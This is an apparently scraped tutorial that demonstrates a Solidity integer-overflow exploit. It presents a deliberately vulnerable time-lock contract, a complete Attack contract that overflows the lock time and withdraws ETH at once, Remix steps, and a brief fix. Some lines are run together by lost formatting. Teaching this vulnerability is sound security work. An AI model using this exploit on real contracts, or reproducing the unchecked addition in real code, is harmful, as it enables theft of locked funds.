Exploit integer overflow in Solidity <0.8.0 to bypass time locks instantly. Use Remix IDE with JavaScript VM to demonstrate this classic vulnerability.
type(uint256).max + 1 - lockTimeblock.timestamp > 0 is always true
In Solidity <0.8.0, integers wrap around when they exceed their maximum value. uint256.max + 1 = 0 — this mathematical quirk
allows attackers to manipulate time locks by causing controlled overflow.
type(uint256).max equals
2²⁵⁶ - 1, the largest possible uint256 valuelockTime + overflowAmount wraps back to 0 or a
very small number// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";
contract TimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
event Deposit(address indexed user, uint256 amount, uint256 unlockTime);
event LockTimeIncreased(address indexed user, uint256 newLockTime, uint256 increase);
event Withdrawal(address indexed user, uint256 amount);
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks; // Lock for 1 week
console.log("=== DEPOSIT ===");
console.log("User:", msg.sender);
console.log("Amount deposited:", msg.value);
console.log("Current timestamp:", block.timestamp);
console.log("Lock expires at:", lockTime[msg.sender]);
console.log("Lock duration (seconds):", lockTime[msg.sender] - block.timestamp);
emit Deposit(msg.sender, msg.value, lockTime[msg.sender]);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
uint256 oldLockTime = lockTime[msg.sender];
console.log("=== INCREASE LOCK TIME ===");
console.log("User:", msg.sender);
console.log("Current lock time:", oldLockTime);
console.log("Seconds to increase:", _secondsToIncrease);
console.log("Max uint256:", type(uint256).max);
// 🚨 VULNERABILITY: No overflow protection in Solidity <0.8.0
lockTime[msg.sender] += _secondsToIncrease;
console.log("New lock time:", lockTime[msg.sender]);
console.log("Overflow occurred:", lockTime[msg.sender] < oldLockTime ? "YES" : "NO");
emit LockTimeIncreased(msg.sender, lockTime[msg.sender], _secondsToIncrease);
}
function withdraw() public {
console.log("=== WITHDRAWAL ATTEMPT ===");
console.log("User:", msg.sender);
console.log("Current timestamp:", block.timestamp);
console.log("User's lock time:", lockTime[msg.sender]);
console.log("Lock expired:", block.timestamp > lockTime[msg.sender] ? "YES" : "NO");
console.log("Balance:", balances[msg.sender]);
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
console.log("Withdrawing amount:", amount);
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
console.log("Withdrawal successful!");
emit Withdrawal(msg.sender, amount);
}
// Helper function to check time remaining
function getTimeRemaining(address user) external view returns (uint256) {
if (block.timestamp >= lockTime[user]) {
return 0;
}
return lockTime[user] - block.timestamp;
}
}
Value to 5 ETHdeposit() - funds will be locked for 1 weekwithdraw() - should fail with "Lock time not expired"// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";
interface ITimeLock {
function deposit() external payable;
function increaseLockTime(uint256 _secondsToIncrease) external;
function withdraw() external;
function lockTime(address user) external view returns (uint256);
function balances(address user) external view returns (uint256);
}
contract Attack {
ITimeLock public timeLock;
event AttackStarted(uint256 depositAmount);
event OverflowCalculated(uint256 currentLockTime, uint256 overflowAmount);
event AttackCompleted(uint256 withdrawnAmount);
constructor(address _timeLock) {
timeLock = ITimeLock(_timeLock);
console.log("Attack contract deployed, targeting:", _timeLock);
}
// Fallback to receive ETH
fallback() external payable {
console.log("Attack contract received ETH:", msg.value);
}
function attack() public payable {
require(msg.value > 0, "Must send ETH to attack");
console.log(">>> OVERFLOW ATTACK STARTED <<<");
console.log("Attack amount:", msg.value);
console.log("Current block timestamp:", block.timestamp);
emit AttackStarted(msg.value);
// Step 1: Deposit funds (this sets our lock time)
console.log("Step 1: Depositing funds...");
timeLock.deposit{value: msg.value}();
uint256 currentLockTime = timeLock.lockTime(address(this));
console.log("Our lock time after deposit:", currentLockTime);
// Step 2: Calculate overflow amount
// We want: currentLockTime + overflowAmount = 0 (or very small number)
// So: overflowAmount = type(uint256).max + 1 - currentLockTime
// But type(uint256).max + 1 = 0 due to overflow
// So: overflowAmount = 0 - currentLockTime = type(uint256).max - currentLockTime + 1
uint256 overflowAmount = type(uint256).max - currentLockTime + 1;
console.log("Step 2: Calculating overflow...");
console.log("type(uint256).max:", type(uint256).max);
console.log("Current lock time:", currentLockTime);
console.log("Calculated overflow amount:", overflowAmount);
console.log("Expected result after overflow:", currentLockTime + overflowAmount);
emit OverflowCalculated(currentLockTime, overflowAmount);
// Step 3: Cause integer overflow
console.log("Step 3: Triggering integer overflow...");
timeLock.increaseLockTime(overflowAmount);
uint256 newLockTime = timeLock.lockTime(address(this));
console.log("Lock time after overflow:", newLockTime);
console.log("Is overflow successful:", newLockTime < currentLockTime ? "YES" : "NO");
console.log("Can withdraw now:", block.timestamp > newLockTime ? "YES" : "NO");
// Step 4: Immediately withdraw (bypass time lock!)
console.log("Step 4: Attempting immediate withdrawal...");
timeLock.withdraw();
uint256 finalBalance = address(this).balance;
console.log("Final contract balance:", finalBalance);
console.log(">>> OVERFLOW ATTACK COMPLETED <<<");
emit AttackCompleted(finalBalance);
}
// Function to check our status in the TimeLock
function checkStatus() external view returns (uint256 balance, uint256 lockTime, uint256 timeRemaining) {
balance = timeLock.balances(address(this));
lockTime = timeLock.lockTime(address(this));
timeRemaining = lockTime > block.timestamp ? lockTime - block.timestamp : 0;
}
// Function to withdraw any ETH from this contract
function drain() external {
payable(msg.sender).transfer(address(this).balance);
}
}
Value to 1 ETHattack() on the Attack contractcheckStatus() on both contracts to see the difference// Solidity ≥0.8.0 automatically prevents overflow
function increaseLockTime(uint256 _secondsToIncrease) public {
require(_secondsToIncrease <= 365 days, "Increase too large");
lockTime[msg.sender] += _secondsToIncrease; // Will revert on overflow
}